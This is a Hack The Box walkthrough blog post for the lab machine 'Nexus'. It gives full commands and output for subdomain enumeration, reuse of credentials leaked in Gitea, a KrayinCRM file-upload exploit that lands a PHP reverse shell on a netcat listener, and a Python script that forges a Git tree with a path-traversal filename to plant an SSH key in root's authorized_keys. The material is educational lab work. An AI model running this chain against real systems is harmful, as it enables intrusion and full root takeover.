Hack The Box RCE

Hack The Box: Nexus Walkthrough

Author
Dulanjana Fernando
Aug 16, 2026  •  10 min read  •  177 views
Hack The Box: Nexus Walkthrough

Nexus is a HackTheBox easy machine that points out why committing credentials to the version control system is not secure and how it leads to a credential leak. This machine exploits a credential leak through Gitea, an authenticated file upload to get an initial foothold, credential reuse and low-level Git object manipulation to escalate privileges.

1. Initial Enumeration and Service Discovery

As the first step, I ran an NMAP scan on the target machine to get a better idea of the target machine. I used nmap -sC -sV -O nexus.htb -oN nmap_scan to scan the open ports and services.

nmap -sC -sV -O nexus.htb -oN nmap_scan
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-14 07:01 -0400
Nmap scan report for nexus.htb (10.129.234.54)
Host is up (0.54s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Nexus Energy Authority \xE2\x80\x94 Powering the Nation's Future
|_http-server-header: nginx/1.24.0 (Ubuntu)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.95 seconds

Based on the scan, only port 22(SSH) and port 80(HTTP) are open.
The website code does not contain any version numbers or any other information. But I found an email j.matthew@nexus.htb in the careers section of the website.

1.1 Website Enumeration

Since the website did not reveal any other information, I decided to scan the website for any hidden files or directories using dirsearch and GoBuster. But I was unable to find any files or directories.

dirsearch -u nexus.htb
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3                                       
 (_||| _) (/_(_|| (_| )                                                                                                     
                                                                                                                            
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /home/kali/Projects/htb/nexus/reports/_nexus.htb/_26-08-14_07-24-36.txt

Target: http://nexus.htb/

[07:24:36] Starting:                                                                                                        
                                                                             
Task Completed

gobuster dir -u nexus.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,md,txt,html -t 20
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://nexus.htb
[+] Method:                  GET
[+] Threads:                 20
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Extensions:              html,php,md,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
index.html           (Status: 200) [Size: 49296]

1.2 Virtual Host Enumeration

Since I did not find any hidden folders or files, I decided to pivot my search to virtual hosts. I used GoBuster to fuzz for any subdomains. And I found two subdomains.

gobuster vhost -u http://nexus.htb -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --append-domain
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                       http://nexus.htb
[+] Method:                    GET
[+] Threads:                   10
[+] Wordlist:                  /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
[+] User Agent:                gobuster/3.8.2
[+] Timeout:                   10s
[+] Append Domain:             true
[+] Exclude Hostname Length:   false
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
git.nexus.htb Status: 200 [Size: 14472]
billing.nexus.htb Status: 302 [Size: 390] [--> http://billing.nexus.htb/admin/login]

After adding both subdomains to the hosts file, 10.129.234.54 nexus.htb git.nexus.htb billing.nexus.htb I visited both subdomains.

- billing.nexus.htb is running KrainCRM in Debug mode.
- git.nexus.htb is running a Gitea virsion control application.

2. Initial Access - Leaked Credentials & KrayinCRM RCE

2.1 Inspecting Gitea (git.nexus.htb)

git.nexus.htb contains a self-hosted Gitea application that exposes a public repository admin/krayin-docker-setup. Inspecting the users section revealed two user accounts. Inspecting the repository's commits revealed some committed credentials by the admin user.

Article Image
Committed credentials to Gitea
# Committed credentials to Gitea by admin
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04

2.2 KrayinCRM Password Reuse & Version Detection

Since the commit mentioned billing.nexus.htb, I decided to try this password against the login form. The login form is requesting an email, and I decided to try the email j.matthew@nexus.htb that I found on the main website. (j in the email can be jones)

I was able to successfully log in to the application. While looking around, I found that the CRM version is displayed in the top-right corner when there is no profile image for the user.
CRM version is 2.2.0, which has a known vulnerability in ExploitDB.

2.3 Exploitation & Reverse Shell Execution

When inspecting the exploit code, I realised that it needs a PHP reverse shell script to be uploaded by running the exploit. So I downloaded a PHP reverse shell script using PentestMonkey GitHub Repository and changed the IP and port to prepare it for upload.

python3 52629.py -t 'http://billing.nexus.htb' -u 'j.matthew@nexus.htb' -p 'N27xh!!2ucY04' -f php-reverse-shell.php
[+] File uploaded successfully.
Path to file: http://billing.nexus.htb/storage/tinymce/64b33839a7e8023a6d52753b14681652.php

Now, after setting up a listener and visiting http://billing.nexus.htb/storage/tinymce/64b33839a7e8023a6d52753b14681652.php from the browser, we can run the reverse shell script and get shell access as www-data.

nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.16.36] from (UNKNOWN) [10.129.234.54] 35840
Linux nexus 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux
 12:28:59 up  1:28,  0 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU  WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

3. Lateral Movement - Post-Exploitation & SSH Access

With the foothold as www-data, I decided to enumerate the local machine.
By inspecting the /home directory, I discovered two local users on the machine: git and jones.
Inspection of /var/www directory showed two sub-directories: html and krayin.

By inspecting the krayin, I discovered mysql credentials in a .env file.

cat /var/www/krayin/.env
LOG_CHANNEL=stack
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

Since these are MySQL credentials, I decided to log in to the database and enumerate. I found one user, james, in the database, but I was unable to crack the bcrypt password hash.
So, as the next attempt, I tried to use both passwords N27xh!!2ucY04 and y27xb3ha!!74GbR for the user jones and tried to log in using SSH.

ssh jones@nexus.htb
The authenticity of host 'nexus.htb (10.129.234.54)' can't be established.
ED25519 key fingerprint is: SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'nexus.htb' (ED25519) to the list of known hosts.
jones@nexus.htb's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
jones@nexus:~$ ls
user.txt

It worked, and I was able to log in as jones and get the user flag.

4. Privilege Escalation - Exploiting Gitea Object Injection

With escalating privileges as jones, the final step is to escalate privileges to root and get the root flag.

4.1 The Systemd Root Timer

When inspecting the system timers using systemctl list-timers --all, I noticed there is a background service named gitea-template-sync.timer running frequently.
By checking the service configuration, I noticed that the service is running as root and the script is located in /etc/gitea/template-sync.py.

systemctl cat gitea-template-sync.service
# /etc/systemd/system/gitea-template-sync.service
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

The template-sync.py script is pulling Gitea repositories using git ls-tree and joining the staging path with discovered file names using os.path.join().
The core issue is in the target = os.path.join(stage_path, filepath) code line. If the filepath variable contains directory traversal characters like ../ or an absolute path, os.path.join() discards the stage_path and revolves the path directly from the system root.

So, if we can create a file inside our Gitea repository with the literal file name ../../../../../../../../root/.ssh/authorized_keys, the Python script will walk all the way back to the root file system and write our public SSH key directly into the root user's authorized keys file.

4.2 Exploiting Gitea Object Injection

I created an SSH key pair with no password using ssh-keygen -t rsa -f mykey -N "". The pubic key of this key pair will be committed to the poisoned repository to get root access.

First, I need to create a local git repository and initialize it with git init.

# Initializing local Git repository
mkdir privesc_repo 
cd privesc_repo 
git init

After creating the repository, we have to manually inject the created public key into Git's internal database using Git Plumbing commands. This returns a SHA-1 hash of the blob. (-w to write into the database)

git hash-object -w ../mykey.pub
28ff30a2daa84aed3a065f5a260714098108f029

I used the following Python script to create the malicious Git tree.

# I used Google Gemini to create me the script
import os
import hashlib
import zlib
import binascii

# 1. Structural Configuration
target_hex_sha = "28ff30a2daa84aed3a065f5a260714098108f029"
binary_blob_sha = binascii.unhexlify(target_hex_sha)

# Path definition featuring standard traversal sequence
filename = b"../../../../../../../../root/.ssh/authorized_keys"
mode = b"100644"

# 2. Construct Malformed Entry: [mode][space][filename][null][20-byte SHA-1]
entry_payload = mode + b" " + filename + b"\x00" + binary_blob_sha
payload_size = len(entry_payload)

# 3. Assemble Header Format: tree [size]\x00[payload]
raw_tree_object = f"tree {payload_size}".encode() + b"\x00" + entry_payload

# 4. Generate Object Hash Definition
sha1_handler = hashlib.sha1()
sha1_handler.update(raw_tree_object)
calculated_hash = sha1_handler.hexdigest()
print(f"Target object hash mapping: {calculated_hash}")

# 5. Compress Payload Using Standard zlib Deflate
compressed_data = zlib.compress(raw_tree_object)

# 6. Map Direct Object Directory and Commit to Disk
object_dir = os.path.join(".git", "objects", calculated_hash[:2])
object_path = os.path.join(object_dir, calculated_hash[2:])

try:
    os.makedirs(object_dir, exist_ok=True)
    with open(object_path, "wb") as f:
        f.write(compressed_data)
    print(f"Object successfully injected directly into: {object_path}")
except Exception as e:
    print(f"Write operation failed: {e}")

Running the script outputs the SHA-1 hash for the Git tree. Then I used this hash to commit this tree to the main branch.

git update-ref refs/heads/main be4983c42e2f32c54d45ed63bdf35d2850b6676d

I logged into Gitea as jones and created a new template repository named privesc. After creating the repository in Gitea, I pushed the changes.

# pushing to Gitea
jones@nexus:~/privesc_repo$ git remote add origin http://localhost:3000/jones/privesc.git
jones@nexus:~/privesc_repo$ git push -u origin main
Username for 'http://localhost:3000': jones
Password for 'http://jones@localhost:3000': 
warning: unable to access '../../../../../../../../root/.gitattributes': Permission denied
warning: unable to access '../../../../../../../../root/.ssh/.gitattributes': Permission denied
Enumerating objects: 3, done.
Counting objects: 100% (3/3), done.
Delta compression using up to 2 threads
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 704 bytes | 704.00 KiB/s, done.
Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
remote: . Processing 1 references
remote: Processed 1 references in total
To http://localhost:3000/jones/privesc.git
 * [new branch]      main -> main
branch 'main' set up to track 'origin/main'.

Once the changes are pushed, I waited 60 seconds for the gitea-template-sync.timer service to run and add my new public key to root's authorized_keys and SSH as root.

jones@nexus:~/privesc_repo$ ssh -i ../mykey root@localhost
The authenticity of host 'localhost (127.0.0.1)' can't be established.
ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'localhost' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.8.0-111-generic x86_64)

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

root@nexus:~# whoami
root

Congrats! We found both flags! HTB Machine Completion

Tags:
RCE SSH Gitea KrayinCRM

You might also like...

Hack The Box: Layover Walkthrough
Hack The Box Special Season: Aero
Hack The Box: Layover Walkthrough

Layover is a Medium difficulty HackTheBox machine that is part of Season 12....

Read More
Hack The Box: BoardLight Walkthrough
Hack The Box Intro to Red Team Track
Hack The Box: BoardLight Walkthrough

BoardLight is an Easy difficulty HackTheBox machine that exposes a CRM applicati...

Read More
Hack The Box: Precious Walkthrough
Hack The Box Intro to Red Team Track
Hack The Box: Precious Walkthrough

Precious is an Easy difficulty HackTheBox machine that features a web service de...

Read More

Stay Updated

Get notified when new walkthroughs and security articles are published.